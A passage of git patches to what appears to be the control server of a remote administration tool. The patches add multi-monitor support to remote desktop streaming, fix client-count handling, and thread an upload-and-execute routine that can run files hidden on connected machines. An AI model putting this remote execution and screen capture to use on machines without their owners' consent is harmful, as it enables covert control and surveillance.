b/Server/Core/Commands/CommandHandler.cs index 4f36481f..334f3192 100644 --- a/Server/Core/Commands/CommandHandler.cs +++ b/Server/Core/Commands/CommandHandler.cs @@ -115,8 +115,11 @@ namespace xServer.Core.Commands if (client.Value.LastDesktop == null) { client.Value.StreamCodec = new UnsafeStreamCodec(); - if (client.Value.LastQuality < 0) + if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor) + { client.Value.LastQuality = packet.Quality; + client.Value.LastMonitor = packet.Monitor; + } using (MemoryStream ms = new MemoryStream(packet.Image)) { @@ -133,6 +136,7 @@ namespace xServer.Core.Commands } catch { } + newScreen = null; } } @@ -142,10 +146,11 @@ namespace xServer.Core.Commands { lock (client.Value.StreamCodec) { - if (client.Value.LastQuality != packet.Quality) + if (client.Value.LastQuality != packet.Quality || client.Value.LastMonitor != packet.Monitor) { client.Value.StreamCodec = new UnsafeStreamCodec(); client.Value.LastQuality = packet.Quality; + client.Value.LastMonitor = packet.Monitor; } Bitmap newScreen = client.Value.StreamCodec.DecodeData(ms); diff --git a/Server/Core/Packets/ClientPackets/DesktopResponse.cs b/Server/Core/Packets/ClientPackets/DesktopResponse.cs index dee2c9e1..dcaada4a 100644 --- a/Server/Core/Packets/ClientPackets/DesktopResponse.cs +++ b/Server/Core/Packets/ClientPackets/DesktopResponse.cs @@ -11,11 +11,15 @@ namespace xServer.Core.Packets.ClientPackets [ProtoMember(2)] public int Quality { get; set; } + [ProtoMember(3)] + public int Monitor { get; set; } + public DesktopResponse() { } - public DesktopResponse(byte[] image, int quality) + public DesktopResponse(byte[] image, int quality, int monitor) { this.Image = image; this.Quality = quality; + this.Monitor = monitor; } public void Execute(Client client) diff --git a/Server/Core/Packets/ServerPackets/Desktop.cs b/Server/Core/Packets/ServerPackets/Desktop.cs index 2a8cf4b9..c997268e 100644 --- a/Server/Core/Packets/ServerPackets/Desktop.cs +++ b/Server/Core/Packets/ServerPackets/Desktop.cs @@ -9,13 +9,13 @@ namespace xServer.Core.Packets.ServerPackets public int Quality { get; set; } [ProtoMember(2)] - public int Number { get; set; } + public int Monitor { get; set; } public Desktop() { } - public Desktop(int quality, int number) + public Desktop(int quality, int monitor) { this.Quality = quality; - this.Number = number; + this.Monitor = monitor; } public void Execute(Client client) diff --git a/Server/Core/UserState.cs b/Server/Core/UserState.cs index d4ccc1cd..fe202b39 100644 --- a/Server/Core/UserState.cs +++ b/Server/Core/UserState.cs @@ -26,11 +26,9 @@ namespace xServer.Core public bool IsAuthenticated { get; set; } public bool LastDesktopSeen { get; set; } public bool LastDirectorySeen { get; set; } - public int LastQuality { get; set; } - + public int LastMonitor { get; set; } public Bitmap LastDesktop { get; set; } - public UnsafeStreamCodec StreamCodec { get; set; } public UserState() @@ -39,6 +37,7 @@ namespace xServer.Core LastDesktopSeen = true; LastDirectorySeen = true; LastQuality = -1; + LastMonitor = -1; } public void DisposeForms() From 26392acb1341d8ef043573be9de20d3c43c101f1 Mon Sep 17 00:00:00 2001 From: d3agle Date: Mon, 13 Apr 2015 03:16:45 -0500 Subject: [PATCH 5/6] MainForm fixes fixed mainform getting real selected item count on client disconnection from server. added threading to upload and execute form dialogresult ok --- Server/Forms/FrmMain.cs | 43 +++++++++++++++++++++-------------------- 1 file changed, 22 insertions(+), 21 deletions(-) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index a8a940c0..13d10f42 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -186,10 +186,8 @@ namespace xServer.Forms } else { - int selectedClients = 0; this.Invoke((MethodInvoker) delegate { - selectedClients = lstClients.SelectedItems.Count; foreach (ListViewItem lvi in lstClients.Items) { if ((Client) lvi.Tag == client) @@ -199,7 +197,7 @@ namespace xServer.Forms } } }); - UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients); + UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count); } } @@ -481,32 +479,35 @@ namespace xServer.Forms { if (frm.ShowDialog() == DialogResult.OK) { - foreach (ListViewItem lvi in lstClients.SelectedItems) + new Thread(() => { - Client c = (Client)lvi.Tag; - - FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); - if (srcFile.MaxBlocks < 0) + foreach (ListViewItem lvi in lstClients.SelectedItems) { - MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); - break; - } + Client c = (Client)lvi.Tag; - int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;) - - CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file...")); - - for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) - { - byte[] block; - if (!srcFile.ReadBlock(currentBlock, out block)) + FileSplit srcFile = new FileSplit(UploadAndExecute.FilePath); + if (srcFile.MaxBlocks < 0) { MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); break; } - new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath) , block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); + + int ID = new Random().Next(int.MinValue, int.MaxValue - 1337); // ;) + + CommandHandler.HandleStatus(c, new Core.Packets.ClientPackets.Status("Uploading file...")); + + for (int currentBlock = 0; currentBlock < srcFile.MaxBlocks; currentBlock++) + { + byte[] block; + if (!srcFile.ReadBlock(currentBlock, out block)) + { + MessageBox.Show(string.Format("Error reading file: {0}", srcFile.LastError), "Upload aborted", MessageBoxButtons.OK, MessageBoxIcon.Warning); + break; + } + new Core.Packets.ServerPackets.UploadAndExecute(ID, Path.GetFileName(UploadAndExecute.FilePath), block, srcFile.MaxBlocks, currentBlock, UploadAndExecute.RunHidden).Execute(c); + } } - } + }).Start(); } } } From b360e2d91ff50d6132544aa75ca15326888545e8 Mon Sep 17 00:00:00 2001 From: MaxXor Date: Mon, 13 Apr 2015 10:25:45 +0200 Subject: [PATCH 6/6] Reverted few changes - Get selected clients after disconnectecd client is removed from the clients list --- Server/Forms/FrmMain.cs | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/Server/Forms/FrmMain.cs b/Server/Forms/FrmMain.cs index 13d10f42..251b2eca 100644 --- a/Server/Forms/FrmMain.cs +++ b/Server/Forms/FrmMain.cs @@ -186,6 +186,7 @@ namespace xServer.Forms } else { + int selectedClients = 0; this.Invoke((MethodInvoker) delegate { foreach (ListViewItem lvi in lstClients.Items) @@ -196,8 +197,9 @@ namespace xServer.Forms server.ConnectedClients--; } } + selectedClients = lstClients.SelectedItems.Count; }); - UpdateWindowTitle(ListenServer.ConnectedClients, lstClients.SelectedItems.Count); + UpdateWindowTitle(ListenServer.ConnectedClients, selectedClients); } }